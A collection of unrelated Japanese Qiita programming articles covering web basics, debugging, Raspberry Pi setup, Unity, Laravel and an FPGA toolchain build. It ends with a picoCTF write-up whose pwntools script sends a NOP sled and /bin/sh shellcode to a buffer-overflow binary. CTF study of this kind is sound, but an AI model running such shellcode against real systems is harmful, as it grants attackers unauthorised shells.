OmniAICreator/Qiita-1.07M huggingface dataset:
HTTPステータスコードについて

学習したことのアウトプット

#HTTPステータスコード
HTTPステータスコードとは、特定のHTTPリクエストが正常に完了したかどうかを示した、サーバーからクライアントに送信される番号のことです。

|ステータスコード|状態|
|-----------|---|
|100〜199|リクエスト継続中|
|200〜299|リクエストが成功した|
|300〜399|リダイレクト中|
|400〜499|クライアントでエラーが発生している|
|500〜599|サーバーでエラーが発生している|
[リファレンス](https://developer.mozilla.org/ja/docs/Web/HTTP/Status)にもっと詳しく載っています

例えば・・・
javascriptにてレスポンスに何らかの問題があった場合、条件式を`XHR.status != 200`等として、条件分岐させて処理を書くことができる。

※補足等ありましたらコメントしていただけると幸いです。
Golangのデバッガdelveで「error layer=debugger can't find build-id note on binary」と表示されたときの対処法


## 問題

表題の通り、以下のエラーによりVSCodeでGolangのデバッグ実行に失敗するという問題に直面しました。

```
2022-02-12T08:26:42+09:00 error layer=debugger can't find build-id note on binary
panic: runtime error: slice bounds out of range [:2] with length 0
---(省略)
```

## 解決

go-delve/delveの[issue](https://github.com/go-delve/delve/issues/2900)によると
`@latest`でインストールされる`delve@1.8.2`(2022/02/13時点)ではこの問題に対処されていないため
VSCodeの拡張機能などによるインストールではなく手動でdelveをインストールします。

```
# Install at tree head:
$ go install github.com/go-delve/delve/cmd/dlv@master
```

もし、以下のエラーによりインストールに失敗する場合は、

```
go: github.com/go-delve/delve/cmd/dlv@master (in github.com/go-delve/delve@v1.8.2-0.20220210175055-dee4437bd088):
	The go.mod file for the module providing named packages contains one or
	more replace directives. It must not contain directives that would cause
	it to be interpreted differently than if it were the main module.
```

次のコマンドを実行してください。

```
$ git clone https://github.com/go-delve/delve
$ cd delve
$ go install github.com/go-delve/delve/cmd/dlv
```

`delve@v1.8.2`のインストールが完了後、ブレークポイントを設定してデバッグ実行します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1891872/ae032294-afa5-fb78-62a6-8d206d7949a9.png)

## 参考文献
https://github.com/go-delve/delve/issues/2900
[JS]レスポンスの処理

学習したことのアウトプット
#まず
ブラウザでイベント発火
↓
JavaScript
↓
ルーティング
↓
コントローラー
↓<font color="Red">レスポンス</font>
JavaScript
↓
ブラウザ

`レスポンス`部分の処理の書き方の理解を少しでも深められたらと
#XMLHttpRequestオブジェクト
JavaScriptを用いてサーバーとHTTP通信を行うときに利用するオブジェクト。
XMLHttpRequestのメソッドやプロパティを利用して実装を進めます。

```javascript:記述例
const XHR = new XMLHttpRequest();
```
`new XMLHttpRequest`と記述することで、新しくオブジェクトを生成できます。
そして、新たに生成したXMLHttpRequestオブジェクトを`変数XHR`に格納しています。

変数名のXHRはXMLHttpRequestの略です。
##onloadプロパティ
リクエストの送信が成功したときに呼び出されるプロパティで`XMLHttpRequestオブジェクトのプロパティの一種`です。
onloadプロパティで、リクエストの送信に成功したときに行う処理を定義できます。

```javascript
XHR.onload = () => {
//リクエストが成功したときの処理を書く
};
```

関数（上記はアロー関数を使用）を使用して中にリクエストが成功した場合の処理を書く

##responseプロパティ
サーバーからのレスポンスに関する情報が格納されたプロパティのことで、`XMLHttpRequestオブジェクトのプロパティ`の一種です。

```javascript:記述例
XHR.onload = () => {
 console.log(XHR.response);
};
```
上記の場合、リクエストが成功するとレスポンスに関するデータをコンソールに出力することができる。

#最後に
JavaScriptってヘビーに見えるけどコツを掴むとなんとかなりそうな気もする（笑
それでも今のところは難しく感じてるけど・・・

※補足等あればコメントいただけると幸いです。
【編集中】Linuxコマンド

## コマンドモードにおける操作
| キー | 内容 | 備考 |
|:-:|:-:|:-:|
|  0 |  行頭へ移動 |   |
|  b |  前の単語の先頭文字へ移動 |   |
|  e |  今の単語の最終文字へ移動 |   |
|  w |  次の単語の先頭文字へ移動 |   |
|  $ |  行末へ移動 |   |

## vi 
テキストファイルを編集する（エディタ）
`vi オプション ファイル名`

| オプション | 内容 | 備考 |
|:-:|:-:|:-:|
|  + |  ファイル末尾にカーソルを当てて表示 |   |
|  +数字 |  検索結果をカーソルを当てて表示 |   |
|  +/パターン |  検索結果をカーソルを当てて表示 |   |

コマンドモード(閲覧時)の操作コマンド

| オプション | 内容 | 備考 |
|:-:|:-:|:-:|
|  g |  ファイル先頭に移動 |   |
|  G |  ファイル末尾に移動 |   |
|  ? |  上方向に検索 |   |
|  / |  下方向に検索 |   |
|  n |  下方向に次の検索 |   |
|  N |  上方向に次の検索 |   |
|  q |   終了 |    |    

## less 
テキストファイルを閲覧する
`less オプション ファイル名`

| オプション | 内容 | 備考 |
|:-:|:-:|:-:|
|  -N |  行番号付きで表示 |   |
|  -p |  検索結果を先頭に表示 | -p ERROR  |

コマンドモード(閲覧時)の操作コマンド

| オプション | 内容 | 備考 |
|:-:|:-:|:-:|
|  g |  ファイル先頭に移動 |   |
|  G |  ファイル末尾に移動 |   |
|  ? |  上方向に検索 |   |
|  / |  下方向に検索 |   |
|  n |  下方向に次の検索 |   |
|  N |  上方向に次の検索 |   |
|  q |   終了 |    |
Atomic Designについて

## はじめに
　本記事は、プログラミング初学者が、学習を進めていて疑問に思った点について調べた結果を備忘録も兼ねてまとめたものです。
　そのため、記事の内容に誤りが含まれている可能性があります。ご容赦ください。
　間違いを見つけた方は、お手数ですが、ご指摘いただけますと幸いです。

## Atomic Designについて

### Atomic Designとは

Brad Frost氏が考案したデザインシステムで、画面要素を以下の五段階に分け、これらが組み合わさって画面が構成されているという考えに基づいています。 

- Atoms
- Molecules
- Organisms
- Templates
- Pages

モダンJavaScriptのコンポーネント化ととても相性が良いです。

### Atoms（原子）とは
それ以上分解することが出来ない要素のことです。具体例は以下の通りです。

- ボタン
- テキストボックス
- アイコン  
　　　　　　　　　等

### Molecules（分子）とは
ATOMを組み合わせた何らかの意味のあるデザインパーツのことです。具体例は以下の通りです。

- アイコン　+　メニュー名
- プロフィール画像 + ユーザー名
- アイコンセット  
　　　　　　　　　　　　　　　等

### Organisms（有機体）とは
AtomやMleculeを組み合わせてある程度の意味を持つようになった要素の集まりのことです。
具体例は以下の通りです。

- 入力フォーム
- サイドメニュー  
　　　　　　　等

### Templatesとは
ページのレイアウトを表現する要素のことです。
Templeteはレイアウトのみで実際データは持たないことにご注意ください。
具体例は以下の通りです。

### Pagesとは
最終的に表示される画面のことです。
骨までしゃぶりつくす「ぷよぷよプログラミング」(1/4) 

# 後続記事へのインデックス

https://qiita.com/KennyKTA/items/b70422c28fa986b52bbe

https://qiita.com/KennyKTA/items/d9383cacb180096261ef

https://qiita.com/KennyKTA/items/cab4905a01bd1ff4b626

#背景

　世の中には情報システムを構築するための教材があふれていて、何から手を付ければいいかわからない人も多いと思います。筆者もそのような一人で、何を題材にし、自分のエンジニアリングの核を形成しようかと常に悩んでいます。ちなみにプログラミングの力量を示す一つの指標としてコンテストサイトの実力がありますが、筆者はAtCoderでは茶色であり、アルゴリズム的な観点でみれば駆け出しエンジニアと言っても差し支えないレベルです。全くの素人ではないものの、様々な分野で中途半端な力量だなと感じることが多く再勉強を試みてはその度に焦燥感を感じています。
　そんな中、目を付けたたのが「[ぷよぷよプログラミング](https://puyo.sega.jp/program_2020)」です。詳細な説明はオフィシャルに譲りますが、「小さなころから慣れ親しんだゲームであるぷよぷよを作れる！」というモチベーションを刺激されました。この教材の概要はjavascript と html を用いてブラウザで上で動作するゲームを実装するというものであり、インフラではなくWebフロント寄りの学習教材です。一方で私のキャリアはWebフロント開発がほぼ白紙の状態で、流行りのTypesScriptやReactなどに触れてみたいなと目移りしている最中でした。しかしながら少し調べてみるとTypeScript もReact もjavascript やhtml を基礎としたものであり、この教材を始点として学習すれば基礎を鍛えられるので、長い目で見て有用だろうと考えて学習に踏み切りました。

#目的
　これから記述していく一連の記事の目的は大きく４つです。

- 目的1.「ぷよぷよプログラミング」で作成していく範囲のソースコードから javascript と html の技術を学んでいく
- 目的2.「ぷよぷよプログラミング」のソースコードを理解することで、その仕様や設計を推測してドキュメント化する
- 目的3. Markdown 記法での文書作成に慣れる
- 目的4.「ぷよぷよプログラミング」に独自の機能追加を実施してみる

　目的1 に関しては、限定的な学習範囲となるため網羅的/体系的な理解はできないでしょう。ただし、学習の皮切りとしては最終成果物の目的がはっきりしていることもあり記憶に残りやすいと思っています。
　目的2 に関しては、開発現場にありがちなソースコードがあってもドキュメント類が少なく仕様や設計がわからない状態を想定しています。こういったケースではソースコードから仕様や設計をくみ取る必要があり、開発領域を問わず求められやすいエンジニアリング能力です。「ぷよぷよプログラミング」ではソースコードが与えられており、他の情報は無いに等しいため似たような状況です。言語や開発対象に応じてソースコードから拾うべき概念は異なるため、トレーニングの一環として実施しようと思います。そしてこれは自己満足ですが、これから「ぷよぷよプログラミング」に着手する方たちの参考資料になることを期待しています。
　目的3 に関しては、記述している通りで文書を書くことに慣れようと思います。
　目的4 に関しては、アドバンスな内容として用意しています。教材の外に飛び出して何か活動したいという宣言に近いもので、実現できるかは執筆時にはわかっていません。

目的の順番は私にとっての重要度の順ですが、記事作成の便宜を考慮すると目的2, 1 （,4）の順番で執筆を行うことになります。2に関しては for 文や if 文といった制御構文や変数宣言などの説明は行わず、私にとって重要だなと思った技術に関して言及するにとどめます。

# 事前準備
さて「ぷよぷよプログラミング」公式では気合による写経が課せられているわけですが、単にプログラムを打ち込むだけでは上記の目的は達成できません。そこでMDN Web Docsの入門文書を確認することにしました。それぞれの文法や用法を深く読み込むというよりは、HTML,CSS,Javascript がどのように相互作用するかを簡単に確認しました。

- [ウェブ入門](https://developer.mozilla.org/ja/docs/Learn/Getting_started_with_the_web)
- [HTMLの基本](https://developer.mozilla.org/ja/docs/Learn/Getting_started_with_the_web/HTML_basics)
- [CSSの基本](https://developer.mozilla.org/ja/docs/Learn/Getting_started_with_the_web/CSS_basics)
- [JavaScript](https://developer.mozilla.org/ja/docs/Learn/JavaScript)

また、上位にプラスして書籍を一冊読みました。[「ステップアップJavascript　フロント電度開発の初級から中級へ進むために」](https://www.shoeisha.co.jp/book/detail/9784798169835)という本です。知識を補うには良いと思いました。「ぷよぷよプログラミング」は各種の計算や状態管理などのゲームを構築するための要素がつまっています。その一方で、通信（書籍内ではAJAX）、パッケージ管理を含む開発環境そのもの（書籍内ではNode.jsとnpm）、Javascript 圏特有のトランスパイルなどに触れることができません。本来私が書籍を手に取った理由は、this とスコープを理解するためだったのですが、読みやすかったので通しで読んで上記のような内容も取り込むことができました。ただし、for 文やif 文などの制御構文が理解できていない人にとっては難しいと思いますので、より入門レベルに近い書籍を読むのをお勧めします。

#最後に
　次回以降の記事で「ぷよぷよプログラミング」そのものに関して目的にそって言及していきたいと思います。以降の記事はある程度かけた段階で公開して、都度アップデートしていくかもしれません。
　念のためにですが、「ぷよぷよプログラミング」は改変や非商用利用においてのみの公開が認められているものの、基本的には商用利用できません。着手される方はいきなり突っ走らず、「ぷよぷよプログラミング」著作物利用許諾所を一読する必要があります。
RaspberryPiセットアップ備忘録

## 概要

RaspberryPiのセットアップ（GUI使わず）で毎度やることを備忘録として残しておく。

## RaspberryPi OS の準備

まずは[公式サイト](https://www.raspberrypi.com/software/)からImagerをダウンロードする。

次に、Imagerを使ってMicroSDカードにOSを書き込む。

この時、普段RasberryPiはメインマシンからSSH接続して使うことしかないのでGUIのない軽量版を書き込むようにする。

※Raspberry Pi OS (other) → Raspberry Pi OS Lite (64-bit)を選択
![スクリーンショット 2022-02-13 22.41.12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/306826/755dd6fa-5cbb-7bae-4238-a1a7047289fd.png)
![スクリーンショット 2022-02-13 22.41.51.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/306826/b07761d9-27cd-ec58-b7f4-635fa15c93e4.png)

## RaspberryPiにログイン

OSイメージができたらRaspberryPiにセットして起動する。ログインの初期ID/PWは下記の通り。

```
ID:pi
PW:raspberry
```

## ネットワーク設定

次にSSHでログインできるようにネットワーク設定をする。

### Wifiの有効化

デフォルトではWifiが無効化されているので有効化する。

```
$ sudo rfkill unblock wifi
$ sudo ip link set wlan0 up
```

### SSHの有効化

sshファイル（空ファイル）を作成すると、再起動時にSSHが有効になる。

```
$ sudo touch /boot/ssh
```

### Wifi設定

```
$ sudo sh -c 'wpa_passphrase <SSID> <Password> >> /etc/wpa_supplicant/wpa_supplicant.conf'
```

上記コマンド実行をするとwpa_supplicant.confにSSIDと暗号化されたパスワードが書き込まれる。また、暗号化前のパスワードもコメントで書かれているので削除しておく。

### DHCPクライアント

リモートから繋ぐ際に固定IPで繋げるようにしておく。

```
$ sudo vi /etc/dhcpcd.conf

ファイルの一番下に下記を追加
interface wlan0
static ip_address=<固定IP>/24
static routers=<ルーターのIP>
static domain_name_servers=1.1.1.1,1.0.0.1
```

※domain_name_serversにはCloudflareを指定している。（ルータのIPとかでもよい）

### ルーター側の設定

ifconfigなどでRaspberryPiのMACアドレスを確認し、ルーター側に固定IPの設定をする。（これはルーターごとに設定が違うので、ここでは設定手順までは記載しない）

### 再起動

全部設定終わったら、RaspberryPiを再起動して確認。
pythonの`next`関数は、iteratorから次の要素を取得してくれるものでした

pythonの`next`関数は、iteratorから次の要素を取得してくれるものでした

```python:test.py
list_a = [1,2,3,4,5]
iter_a = iter(list_a)
print(next(iter_a))
print(next(iter_a))
print(next(iter_a))
print(next(iter_a))
print(next(iter_a))
```

以下のように実行する

```
$ python test.py 
1
2
3
4
5
```

socket通信でiteratorを扱う時とかに出てくる様子

# 参考

https://docs.python.org/ja/3.8/library/itertools.html
Cloudflare Pages でステージング環境を構築する

Cloudflare Pages では公式に Staging 環境を構築する方法はドキュメントに載っていません。(私の知る限りは)
Cloudflare の Discord で、Staging 環境がほしいと要望を上げたところ、ややトリッキーな方法ではあるものの、現在も可能だとアドバイスを受けましたので、共有したいと思います。

# 前提

GitHub で staging ブランチに変更を push/merge した際に、staging ブランチの内容が stg.example.com でアクセス可能なようにします。
同様に、main ブランチの内容は example.com でアクセス可能なようにします。

- Cloudflare Pages のプロジェクト名: example-prj
- ステージング環境用 Git(Hub) ブランチ名: staging
- ステージング環境のドメイン名: stg.example.com (サブドメインでなく example-stg.com など別ドメインを紐付けることも可能です)
- 本番環境用 Git(Hub) ブランチ名: main
- 本番環境のドメイン名: example.com

# 1. GitHub で staging ブランチを作成する

普通に作成します。

# 2. Cloudflare Pages の Custom domains に stg.example.com を追加する。

Cloudflare Pages のダッシュボードに Custom Domains というタブがありますので、そちらから stg.example.com を追加します。

# 3. stg.example.com が staging ブランチのデプロイ先を見るように修正する

カスタムドメインを Cloudflare Pages に追加すると同時に、DNS レコードにも stg.example.com が追加されています。
これは CNAME で example-prj.pages.dev を指しています。

この example-prj.pages.dev の前にステージング環境のブランチ名を追加して、staging.example-prj.pages.dev に修正します。

この時、Orange Cloud にしておくよう注意して下さい。Gray Cloud だとうまく staging ブランチを向いてくれないようです。
(なので、試してはいませんが、DNS が Cloudflare でない場合はドメインを紐づけることができないかもしれません。その際の次善策については後述。)

# なぜこれで動くのか?

実はそれぞれのブランチがデプロイされた際、ブランチ名.example-prj.pages.dev というサブドメインでアクセスできるようになっています。
そのサブドメインに対して、独自ドメインを紐づけただけです。

DNS が Cloudflare でない場合は今回の方法は取れない可能性がありますが、staging.example-prj.pages.dev をステージング環境として用いるという方法もあります。
Qtはいいぞ

投稿テストついでに最近私が使用しているQtについて

#Qtはいいぞ
Qtとは……の様な解説は解説サイトにお任せするとして、私がQtを使っている理由とかメリットとかを。

1. 開発が楽
1. GUI関係の拡張が楽
1. 3Dも扱える

######開発が楽
これに尽きます。マルチプラットフォーム対応なんかもありますが、それもあってWin32APIから解放されると言うだけで天国です。Windowsは歴史があるので仕方ない点もありますが、例えばウィンドウを作る、文字を描画する、図形描画する、3D描画する、音を鳴らす。とかAPIがごっちゃごちゃでドキュメントもバラバラです。それが一本化されてるだけで天国です。

######GUI関係の拡張が楽
GUIライブラリとも言われているだけあって拡張が楽です。ボタン押したら何かが動作する。みたいなイベント駆動型の処理もらくちんですし、

######3Dも扱える
OpenGLの便利なラッパークラスが充実してます。これはQt側で用意したものを使ったり使わなかったりでXISMOでは使っていますがVCapStudioだと使わずに直接OpenGL叩いてます。(XISMOでも全部使ってる訳でもないです。)
例えば頂点バッファを使うには

```cpp
QOpenGLBuffer* vertexBuf = new QOpenGLBuffer();
vertexBuf->create();
vertexBuf->bind();
vertexBuf->allocate(data, vertCount * sizeof(QVector3D));
```

こんな感じで使います。戻り値を書いてませんが、createだったりbindがboolで帰ってくるので、すんごい分かりやすいです。こう言うクラス設計がQt全体である程度統一されているのでなにかと便利です。アニメーションとかで頂点バッファのポインタが欲しい時は

```cpp
QVector3D *verts = (QVector3D*)vertexBuf->map(QOpenGLBuffer::WriteOnly);
```

こんな感じで取得出来て、例えば以下の様に頂点データが更新できます。

```cpp
vertexBuf->bind();
QVector3D *verts = (QVector3D*)vertexBuf->map(QOpenGLBuffer::WriteOnly);
verts[0] = QVector3D(0,0,0);
verts[1] = QVector3D(1,1,1);
vertexBuf->unmap();
vertexBuf->release();
```

……ら…楽だし……分かりやすい！
強いて言えば算術関係のクラスはそこまで充実していないのでこの辺は昔から使っている自前のものを使いまわしています。Quaternionのクラスなんかもありますが最低限の実装と言う感じです。

投稿テストついでにちょっとQtの話をしましたが、基本的には自分用メモみたいな感じで使う予定なので、技術的に突っ込んだことはあまり書かないと思います。
システム監視

#【システム監視】

##なぜ、システム監視が必要か。
WebサーバーやDBサーバーが正常に動作しなくなった場合、迅速にサービスを復旧させる必要がある。
サービスの状態がどうのようになったいるかを把握しておくことが必要がある。

##監視項目
- 監視するサービスの重要性や監視対象のリソースによってさまざま。
- 以下、最低限は監視しておきたいもの。

###死活監視
- リソースが稼働しているかどうかを監視
    - 物理的な故障
    - OSの異常動作
    - ネットワーク的な切断 ...etc
- 特定のリソースがさまざなな理由でサービス内から使えなくなることがある。
- **最も早くに発生を検知して、対処する必要がある。**

###CPU使用率
- リソースで過度の作業が行われていないかどうかを監視
- たくさんの処理を同時にこなそうとすると、CPUがそれをさばききれなくなり、実行待ちの処理が増える。
- CPU使用率はが 100%の状態が続くということは、実行待つの処理が発生している。

###メモリ使用率
- リソースに用意されているメモリが大量に使われていないかどうかを監視
- メモリ（作業場所）には限りがあるため、空きがなくなると処理は実行ができなくなる。

###ディスク容量
- リソースに接続されているディスクの空き容量が十分にあるかどうかを監視
- ティスク容量が足りなくなると、保存されるべき情報が保存されなくなり、サービスが異常終了してしまうこともある。
    - サービスを構築するプログラムや設定ファイルなど。
    - サービスに登録されるデータやログなど。

###ネットワークトラフィック
- リソースがネットワークを経由して入ってきたり出ていったりする通信量を監視
- ネットワークを介してやり取りできるデータ量には上限がある。
【Unity】uOSCの使い方

UnityのOSCパッケージであるuOSCの使い方について調べました。
[hecomi/uOSC: OSC server / client implementation for Unity](https://github.com/hecomi/uOSC)

基本的には開発者の方が詳しい解説記事を書いてくれているので、この記事を読むよりもそちらを読む方ががいいと思います。
[Unity 向けの OSC 実装を作ってみた \- 凹みTips](https://tips.hecomi.com/entry/2017/08/20/193823)
[uOSC v2 をリリースしました \- 凹みTips](https://tips.hecomi.com/entry/2021/11/29/234527)

本記事の内容はUnityバージョン2021.2.9f1、エディタ上でのみ検証しています。

## インストール

### Scoped Registryからインストールする

Scoped Registryからインポートします。
`/Packages/manifest.json`に以下を追記します。

```
{
    "scopedRegistries": [
        {
            "name": "Hecomi",
            "url": "https://registry.npmjs.com",
            "scopes": [
                "com.hecomi"
            ]
        },
        ...
    ],
    "dependencies": {
        "com.hecomi.uosc": "2.0.3",
        ...
    }
}
```

### Git URLでインストールする

Package Managerの`Add package form git URL...`から以下のURLを追加してインポートします。

```
https://github.com/hecomi/uOSC.git#upm
```

### unitypackageでインストールする

GitHubの[Releases](https://github.com/hecomi/uOSC/releases)ページからunitypackageをダウンロードし、インポートします。


`Projecct Settings > Package Manager`からScoped Registryを追加して、`Package Manager`からインポートすることも可能です。

## 使い方


### OSCの受信

`uOscServer`コンポーネントを使用してOSCを受信します。`uOscServer#onDataReceived`にOSC受信時に実行するメソッドを追加します。ここではスクリプトから追加していますが、`uOscServer`コンポーネントのインスペクターから追加することも可能です。メソッドはメインスレッド実行されるので、Unity APIも使用可能です。

```c#:UOscServerSample.cs
using UnityEngine;
using uOSC;

[RequireComponent(typeof(uOscServer))]
public class UOscServerSample : MonoBehaviour
{
    uOscServer server;

    void OnEnable()
    {
        if (server == null)
        {
            server = GetComponent<uOscServer>();
        }
        server.onDataReceived.AddListener(OnDataReceived);
    }

    void OnDisable()
    {
        server.onDataReceived.RemoveListener(OnDataReceived);
    }

    void OnDataReceived(Message message)
    {
        if (message.address == "/uOSC/sample")
        {
            Debug.Log($"uOSC receive: {(string)message.values[0]} {(float)message.values[1]} {(int)message.values[2]}");
        }
    }
}
```

### OSCの送信

`uOscClient`コンポーネントを使用してOSCを送信します。送るデータ型は`int`、`float`、`string`、`byte[]`に対応しています。

```c#:UOscClientSample.cs
using UnityEngine;
using uOSC;

[RequireComponent(typeof(uOscClient))]
public class UOscClientSample : MonoBehaviour
{
    uOscClient client;

    void Start()
    {
        client = GetComponent<uOscClient>();
    }

    void Update()
    {
        client.Send("/uOSC/sample", "hoge", 123.456f, 100);
    }
}
```

## まとめ

UnityのOSCライブラリであるuOSCについて解説しました。シンプルなインターフェースになっており、簡単に使い方を理解できるなという印象です。すでに開発が停止しているOSCライブラリのUnityOSCの代替として丁度いいのではと思います。
Bladeの記述を学ぶ【Laravel8】

業務でBladeを書く機会があったのでメモします。

## if文

```php
@php
    $name= '太郎'
@endphp

<!-- 表示の条件分岐 -->
@if($name === '太郎')
    <p>おはよう、{{ $name }}</p>
@elseif($name === '次郎')
    <p>こんにちは、{{ $name }}</p>
@else
    <p>こんばんは、{{ $name }}</p>
@endif
```

変数をテンプレートに表示させるには{{ }}を使います。

## foreach 

### 配列

```php
@php
    $names = ['太郎','次郎','三郎']
@endphp

@foreach ($names as $name)
    <p>こんにちは、{{ $name }}</p>
@endforeach
```

### 二次元配列


```php
@php 
  $reviews = [
    ['良い','普通','悪い'],
    ['good','usually','bad'],
  ]
@endphp

@foreach ($reviews as $review)
    @foreach ($review as $val)
        <p>{{ $val }}です。</p>
    @endforeach
@endforeach
```

foreachをネストすることで表示。


### 連想配列

```php
@php
    $names = [
    '番号' => 1,
    '名前' => '太郎',
    '年齢' => 30
    ];
@endphp

@foreach ($names as $key => $val)
    <p>{{ $key }}は{{ $val }}です。</p>
@endforeach
```
・連想配列を定義する際は、=>（ダブルアロー）を使います。
・foreachでキーと値を両方取得したい場合も、=>を使うことで取得できます。





## 他のBladeの読み込み

@includeを使って、別のbladeを読み込む。
これを使えばコンポーネント毎の記述もできます。

### 親

```.php:parent.blade.php
<h1 class="title">
  コンテンツ
</h1>

<div class="container">
  @include('child')
  {{-- 同階層のchild.blade.phpを取り込み --}}
</div>
```

### 子
```.php:child.blade.php
<p>コンテンツ１</p>
```

### includeのループ

子bladeをループさせることもできます。


```.php:parent.blade.php
@php
    $count = 5;
@endphp

<h1 class="title">
  コンテンツ
</h1>

<div class="container">
  @for ($i = 0; $i < $count; $i++)
    @include('child')
  @endfor
</div>
```


## 共通レイアウトを使う

共通デザインで中身だけ動的に切り替えたい場合、以下の様な記述ができます。

### 親（共通テンプレート）

```.php:app.blade.php
<!DOCTYPE html>
<html lang="ja">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  {{-- @yieldで子のコンテンツを表示させる --}}
  <title>@yield("title")</title>
</head>

<body>
  <main class="main">
    {{-- @yieldで子のコンテンツを表示させる --}}
    @yield("contents")
  </main>
</body>
</html>
```

### 子

```.php:contents.blade.php
{{-- 共通のレイアウトを指定する --}}
@extends('layouts.app')

{{-- titleの値 --}}
@section('title','TOPページ')

{{-- contentsの値 --}}
@section('contents')
<div class='content'>
  <p>見出し</p>
  <p>内容・内容</p>
</div>
@endsection
```

@extendsで共通で使いたい親bladeを指定します。

@sectionを使って、親のテンプレートに繋ぎ込む値を設定し、

@yieldを記述した場所に、@sectionで定義した値を格納しています。



## まとめ
普段Vueを使っているんですが、似たような記述ができました。
また思ったよりもシンプルなので使いやすく感じました。
他にも便利な記述があったら追加していきます！
WSL2上のUbuntu 18.04 LTSでXRTをビルドした時の備忘録

WSL2上にXilinxのFPGA開発環境を整備しようとしてXilinx Runtime（XRT）を無理やりビルドした時の備忘録です。ビルド時のテストはPassしていたようですが、きちんと動作するかは確かめていません。
Qiita初投稿なので見にくいところ等あると思いますがご容赦ください。
## はじめに
### 留意点
この手順には

* [WindowsがWindows10 バージョン21H2以上またはWindows11であること](https://docs.microsoft.com/ja-jp/windows/ai/directml/gpu-cuda-in-wsl)
* [GPUがNvidia系でありかつMaxwellよりも新しいGPUであること](https://docs.nvidia.com/cuda/wsl-user-guide/index.html#known-limitations-for-linux-cuda-apps)

の条件が必要となります。

また、本来ならば`xrtdeps.sh`を走らせた際にOpenCLがインストールされる可能性があるため②の手順は必要ないかもしれません。
（`xrtdeps.sh`が正しく機能していないことに気付いたのは②を終えてからだった……）
## やったこと
### ⓪環境
```
Windows : Windows10 Pro バージョン21H2 （OSビルド 19044.1526）
WSL2 : Ubuntu 18.04.06 LTS
GPU：Nvidia GeForce RTX 2060 SUPER
```

### ①GPUをWSL2でも使用できるようにする
[Nvidiaの説明](https://docs.nvidia.com/cuda/wsl-user-guide/index.html)に従ってCUDAをWSL2で利用できるようにします。
[4.2.6. Building Your Own GPU-accelerated Application on WSL 2](https://docs.nvidia.com/cuda/wsl-user-guide/index.html#ch03a-setting-up-cuda)の"Option 1: Using the WSL-Ubuntu Package"まで完了すればよいです。

### ②OpenCLをWSL2にインストールする
```
sudo apt install nvidia-opencl-dev
```
でインストール可能です。


### ③XRTが必要とするパッケージをインストールする
XRTのリポジトリにある`xrtdeps.sh`の中の`ub_package_list()`を手動でインストールします。（WSL2だとスクリプト中のvalidateで弾かれて必要なパッケージがインストールされないようです）
<details><summary>執筆時点のパッケージ一覧</summary><div>

```
cmake \
cppcheck \
curl \
dkms \
g++ \
gcc \
gdb \
git \
gnuplot \
graphviz \
libboost-dev \
libboost-filesystem-dev \
libboost-program-options-dev \
libcurl4-openssl-dev \
libdrm-dev \
libdw-dev \
libelf-dev \
libffi-dev \
libgtest-dev \
libjpeg-dev \
libjson-glib-dev \
libncurses5-dev \
libopencv-core-dev \
libpng-dev \
libprotoc-dev \
libssl-dev \
libsystemd-dev \
libtiff5-dev \
libudev-dev \
libyaml-dev \
linux-libc-dev \
lm-sensors \
lsb-release \
make \
ocl-icd-dev \
ocl-icd-libopencl1 \
ocl-icd-opencl-dev \
opencl-headers \
pciutils \
perl \
rapidjson-dev \
pkg-config \
protobuf-compiler \
python3 \
libpython3-dev \
python3-breathe \
python3-pip \
python3-sphinx \
python3-sphinx-rtd-theme \
sphinx-common \
strace \
unzip \
uuid-dev
```
</div></details>

### ④XRTをビルドする
[公式の手順](https://xilinx.github.io/XRT/master/html/build.html)通り`build.sh`を走らせてビルドします。

以上です。完了後はPCを再起動したほうがいいかもしれません。
![ビルド終了時の画面.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/556002/1bed139b-11b1-c168-8cc0-f3d4354ccf43.png)


## 参考にさせていただいたリンク
* [CmdStanRでGPU(OpenCL)を使う](https://fu-om.github.io/ByTheWay/posts/2021-09-19-cmdstanrwithgpu/)：OpenCLをインストールするのに参考にさせていただきました。
picoCTF 2019 part2



前回からの続きです。
https://qiita.com/daihi_t/items/70f0a097ed25fd2ed3c5

## slippery-shell

実行画面
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1183260/ef5e8a10-fe6d-0d6f-4047-f8836344334d.png)

配布（されたと思われる）ソースコード

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 512
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter your shellcode:");
  vuln(buf);
  printf("%d",randomtest);
  puts("Thanks! Executing from a random location now...");

  int offset = (rand() % 256) + 1;
  printf("%d\n",offset);
  ((void (*)())(buf+offset))();

  puts("Finishing Executing Shellcode. Exiting now...");
  return 0;
}
```

前回解いたhandy-shellcodeとほぼ同じに見えます。ただ、offsetが追加で定義されており、単にシェルコードを入力してもシェルをポップされることができません。
offsetはrand関数の結果を256で余剰算（%）し、0～256の範囲でランダムに値を取得し、bufに追加していることがわかります。

これを回避し、シェルコードのアドレスを指定できればシェルを起動できそうです。

回避するには[nop sled](https://ja.wikipedia.org/wiki/%E3%83%90%E3%83%83%E3%83%95%E3%82%A1%E3%82%AA%E3%83%BC%E3%83%90%E3%83%BC%E3%83%A9%E3%83%B3#:~:text=NOP%E3%81%A8%E3%81%AF%E3%80%8C%E4%BD%95%E3%82%82,%E3%81%AE%E4%BD%8D%E7%BD%AE%E3%81%BE%E3%81%A7%E6%BB%91%E8%B5%B0%E3%81%95%E3%81%9B%E3%82%8B%E3%80%82)という方法を使えばよさそうです。

上記リンクにもあるとおり、nopは何も行わないことを意味するアセンブリ命令です。
以上のことから回答コードを作成します。

```
from pwn import *

target = process('./slippery-shell')
target.recvline()
payload = "\x90"*256
payload += "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
print(payload)
target.sendline(payload)

target.interactive()
```

